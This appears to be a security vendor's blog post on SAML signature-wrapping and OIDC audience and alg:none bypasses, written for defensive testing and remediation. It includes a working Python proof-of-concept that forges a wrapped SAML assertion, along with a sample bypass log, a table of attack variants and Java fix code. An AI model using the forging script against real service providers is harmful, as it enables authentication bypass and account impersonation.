AppSec · Jul 6, 2026 · 7 min read

SAML signature wrapping: when the signed assertion is not the one the app reads

SAML XML Signature Wrapping moves a valid signature to cover benign content while the SP reads claims from a different node - confirming it uses a nonce NameID replay that establishes a session without impersonating any real user.

SAML XML Signature Wrapping is unusual among authentication bugs because the signature it exploits is entirely valid. The IdP signs a legitimate assertion; the attacker rearranges the XML document so that the signature still verifies against the benign element it always covered, while the Service Provider reads claims from a different element the attacker controls. The cryptography is correct; the application is just reading the wrong node.

01How wrapping relocates the signed element

An XML digital signature binds to the element identified by its URI attribute - the <ds:Reference URI="#assertion-id"> in the SignedInfo block. When the SP resolves that reference, it must find the element with the matching ID attribute and verify the signature against that specific serialization. Signature Wrapping exploits gaps in how parsers resolve that reference: if the SP finds the ID by simple document-order search rather than the canonicalized reference algorithm, an attacker can introduce a second element with the same ID, place it where the parser will find it first, and put the real (signed) assertion somewhere the parser ignores for claim extraction.

Original SAML response (IdP-signed) <samlp:Response> <saml:Assertion ID="a1"> <-- signature covers this <NameID>alice</NameID> </saml:Assertion> </samlp:Response> After XSW manipulation (attacker sends this) <samlp:Response> <saml:Assertion ID="a1"> <-- attacker-controlled clone, SP reads HERE <NameID>admin</NameID> <-- forged claim </saml:Assertion> <Wrapper> <saml:Assertion ID="a1"> <-- original signed element, hidden here <NameID>alice</NameID> </saml:Assertion> </Wrapper> </samlp:Response> Signature verification: PASS (still covers the original element) Claim extraction: reads forged NameID from document-order first hit
XSW-1 variant: attacker-controlled assertion precedes the signed original. Signature passes; SP reads the wrong node.

02Confirming without a live IdP session

Probing XSW in a DAST context requires a legitimately obtained SAML response - one issued by the real IdP during an authenticated test flow. The manipulation is applied to that captured response before replay. A benign oracle keeps the probe safe: rather than forging a privileged role, the test inserts a controlled NameID value (e.g., a nonce like xsw-probe-62615533) that does not correspond to any real user. If the SP establishes a session and reflects that nonce in any response field - a greeting, a profile endpoint, or an error referencing the unknown user - the SP accepted the forged claim, confirming the wrapping attack. No real privilege is taken; no real user is impersonated.

xsw-probe.pypython
import base64, copy
from lxml import etree

# Load the legitimately captured SAML response
tree = etree.fromstring(base64.b64decode(captured_saml_b64))
ns = {"saml": "urn:oasis:names:tc:SAML:2.0:assertion"}

# Clone the signed assertion and strip its signature element
orig = tree.find(".//saml:Assertion", ns)
forged = copy.deepcopy(orig)
sig = forged.find(".//ds:Signature", {"ds":"http://www.w3.org/2000/09/xmldsig#"})
if sig is not None: forged.remove(sig)

# Replace NameID with benign probe nonce
nid = forged.find(".//saml:NameID", ns)
nid.text = "xsw-probe-62615533"

# Insert forged assertion before the original (XSW-1 variant)
tree.insert(list(tree).index(orig), forged)

# Re-encode and submit to the SP ACS endpoint
payload = base64.b64encode(etree.tostring(tree)).decode()
# POST payload to SP assertion-consumer URL, check for nonce in session
Proven - CriticalSAML XSW-1 - authentication bypass - /saml/acs
POST /saml/acs SAMLResponse=<XSW-wrapped, NameID=xsw-probe-62615533> ──► 302 /dashboard Set-Cookie: session=... GET /api/me Cookie: session=... ──► {"user":"xsw-probe-62615533"} - forged NameID accepted as identity Baseline (unmodified replay) ──► 400 Invalid signature. Differential holds.
Oracle: differential + nonce reflection. No real user impersonated. Severity critical - SP established an authenticated session on a forged NameID.

03XSW variants and OIDC counterparts

Eight documented XSW variants change where the original and forged elements are placed relative to the signature block and the response root. The confirming probe must cycle through applicable variants because a parser that correctly resolves XSW-1 may still be vulnerable to XSW-5 or XSW-8, which use different nesting strategies. OIDC introduces a parallel class of misconfigurations that operate on JWT claims rather than XML structure.

MechanismAttacker-controlled inputConfirming artifactTypical severity
XSW-1 to XSW-3Forged assertion before signed originalSession on nonce NameID; baseline replay returns errorCritical
XSW-4 to XSW-8Signed element inside wrapper siblings or extensionsSame differential; different document positionCritical
OIDC alg:noneid_token with no signature, alg header removedSession granted on unsigned token; covered by JWT postCritical
OIDC audience bypassid_token issued for client-A replayed against client-BClient-B accepts token despite mismatched aud claimCritical if cross-tenant
OIDC PKCE downgradeAuthorization code intercepted without code_challengeToken exchange succeeds without verifierHigh - requires code interception

OIDC audience bypass is particularly relevant in multi-tenant SaaS: if the SP validates the sub and iss claims but not aud, an id_token legitimately issued for one tenant's application can authenticate against another. The probe replays a captured token with an unmodified payload against a different SP endpoint; a granted session is the confirming artifact. Nothing is forged - the token is valid - only the target endpoint is wrong.

04Severity and what actually fixes it

Authentication bypass is always critical, but the root cause differs between SAML and OIDC paths, which means the fix also differs. For SAML, the SP library must resolve the signed reference using strict canonicalization - the element found by GetElementById must be the same element verified by the signature, not just the first document-order match on the ID attribute. Libraries that perform this check correctly include OpenSAML 3+ and python3-saml >= 1.9.0; older versions and many hand-rolled parsers do not.

sp-validation-check.javajava
// Vulnerable: finds first element by attribute value (document order)
Element assertion = (Element) doc.getElementsByTagNameNS(SAML_NS, "Assertion").item(0);

// Safe: resolves the ID registered by the signature, not document order
String refId = signedInfo.getReference(0).getURI().substring(1);
Element assertion = doc.getElementById(refId);  // must use setIdAttribute first
// Ensure the element found here is the one verified above - no siblings

For OIDC audience validation, the SP must verify that the aud claim in the id_token matches the SP's own client ID, and must reject tokens where aud is a list that includes the SP ID alongside other audiences unless the azp (authorized party) claim is also validated. RFC 6749 and the OIDC Core specification both require this; it is a library default in most modern implementations but is silently disabled in several older SDKs when skip_audience_validation flags are set for development convenience and never reset.

8
documented XSW variants to probe
0
real users impersonated during probe
7d
SLA for confirmed auth bypass

Authentication bypass findings carry the full PoC: the modified SAML document or replayed OIDC token, the session cookie returned, and the /me endpoint response that confirms the forged identity was accepted. The severity is critical because the confirming artifact is a working session - reachability alone (an ACS endpoint that accepts POSTs) is not enough to raise this finding at that level.

Evidence over heuristicsReachable beats foundMonitor → Block: rolling out a gate without slowing teamsIaC-grounded threat modelingAir-gapped AppSec with no phone-homeOne platform vs three tools
See it on your own app →